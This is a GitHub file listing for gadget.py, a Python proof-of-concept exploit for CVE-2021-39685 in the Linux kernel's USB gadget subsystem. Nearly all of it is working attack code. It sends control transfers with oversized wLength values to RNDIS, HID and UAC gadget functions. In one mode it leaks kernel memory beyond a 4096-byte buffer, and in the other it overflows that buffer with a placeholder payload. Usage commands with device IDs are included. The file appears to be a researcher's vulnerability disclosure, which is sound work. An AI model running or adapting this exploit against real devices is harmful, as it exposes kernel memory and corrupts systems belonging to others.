-
Notifications
You must be signed in to change notification settings - Fork 0
/
gadget.py
198 lines (161 loc) · 5.94 KB
/
gadget.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
#!/usr/bin/python3
#
# CVE-2021-39685
#
# This sample script attempts to exploit lack
# of control transfer request wLength limiting
# by Linux kernel's USB gadget subsystem.
#
# Exploitable functions include rndis, hid,
# uac1, uac1_legacy, uac2.
#
# On the host side use a custom build of libusb
# with MAX_CTRL_BUFFER_LENGTH increased to 0xffff
# from default value of 4096.
#
# The EP0 buffer as allocated in composite.c is
# USB_COMP_EP0_BUFSIZ bytes large so everything past
# 4096 will cause buffer overflow.
#
# Use samples:
# sudo ./gadget.py -v 0x18d1 -p 0x4e23 -f rndis
# sudo ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d read
#
# This script requires pyusb.
#
# https://github.com/szymonh/inspector-gadget
#
import argparse
import sys
import usb.core
import usb.util
CTRL_REQ_MAP = {
'uac1': {
'read': {
'bmRequestType': 0xa2, # USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT
'bRequest': 129, # UAC_GET_CUR
'wValue': 0x00,
'wIndex': 0x00,
},
'write': {
'bmRequestType': 0x22, # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT
'bRequest': 0x01, # UAC_SET_CUR
'wValue': 0x00,
'wIndex': 0x00,
}
},
'uac1_legacy': {
'read': {
'bmRequestType': 0xa2, # USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT
'bRequest': 129, # UAC_GET_CUR
'wValue': 0x00,
'wIndex': 0x00,
},
'write': {
'bmRequestType': 0x22, # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT
'bRequest': 0x01, # UAC_SET_CUR
'wValue': 0x00,
'wIndex': 0x00,
}
},
'uac2': {
'write': {
'bmRequestType': 0x21, # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE
'bRequest': 1, # UAC2_CS_CUR
'wValue': (0x01 << 8), # higher byte set to UAC2_CS_CONTROL_SAM_FREQ
'wIndex': 0, # lower byte set to uac2->ac_intf, higher USB_IN_CLK_ID
}
},
'rndis': {
'write': {
'bmRequestType': 0x21, # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE
'bRequest': 0x00, # USB_CDC_SEND_ENCAPSULATED_COMMAND
'wValue': 0x00, # needs to be 0
'wIndex': 0x00, # must be set to rndis->ctrl_id
}
},
'hid': {
'write': { # hidg->use_out_ep must be false
'bmRequestType': 0x21, # USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE
'bRequest': 0x09, # HID_REQ_SET_REPORT
'wValue': 0x00, # don't care
'wIndex': 0x00, # don't care
}
}
}
def auto_int(val: str) -> int:
'''Convert arbitrary string to integer
Used as argparse type to automatically handle input with
different base - decimal, octal, hex etc.
'''
return int(val, 0)
def parse_args() -> argparse.Namespace:
'''Parse command line arguments
'''
parser = argparse.ArgumentParser(
description='Sample exploit for RNDIS gadget class'
)
parser.add_argument('-v', '--vid', type=auto_int, required=True,
help='vendor id')
parser.add_argument('-p', '--pid', type=auto_int, required=True,
help='product id')
parser.add_argument('-l', '--length', type=auto_int, default=0xffff,
required=False, help='lenght of data to write')
parser.add_argument('-d', '--direction', type=str, default='read',
choices=['read', 'write'],
help='direction of operation from host perspective')
parser.add_argument('-f', '--function', type=str, default='rndis',
choices=('rndis', 'uac1', 'uac1_legacy', 'uac2', 'hid'))
return parser.parse_args()
def setup_device(args: argparse.Namespace):
'''Find and prepare the usb device
'''
usbdev = usb.core.find(idVendor=args.vid, idProduct=args.pid)
if usbdev is None:
print('Device not found, verify specified VID and PID')
sys.exit(1)
for cfg in usbdev:
for idx in range(cfg.bNumInterfaces):
if usbdev.is_kernel_driver_active(idx):
usbdev.detach_kernel_driver(idx)
usbdev.set_configuration()
return usbdev
def build_payload(length: int) -> bytearray:
'''Provide a payload to use
This should include some nice code but for
pure demo As should be fine.
'''
payload = bytearray()
for i in range(0, length):
payload.append(ord('A'))
return payload
def pick_request(args: argparse.Namespace) -> dict:
'''Choose control transfer request
'''
if args.direction not in CTRL_REQ_MAP[args.function]:
args.direction = list(CTRL_REQ_MAP[args.function].keys())[0]
ctrl_req = CTRL_REQ_MAP[args.function][args.direction]
if args.direction == 'read':
ctrl_req['data_or_wLength'] = args.length
else:
ctrl_req['data_or_wLength'] = build_payload(args.length)
return ctrl_req
def present_response(args: argparse.Namespace, data) -> None:
'''Present the retrieved mem contents for read
'''
if args.direction == 'write':
print('Wrote {} bytes of data'.format(data))
print('Please check the device state')
else:
sys.stdout.buffer.write(data)
def exploit(args: argparse.Namespace) -> None:
'''Exploit the Gadget
'''
usbdev = setup_device(args)
ctrl_req = pick_request(args)
data = usbdev.ctrl_transfer(**ctrl_req)
present_response(args, data)
if __name__ == '__main__':
'''Main script
'''
exploit(parse_args())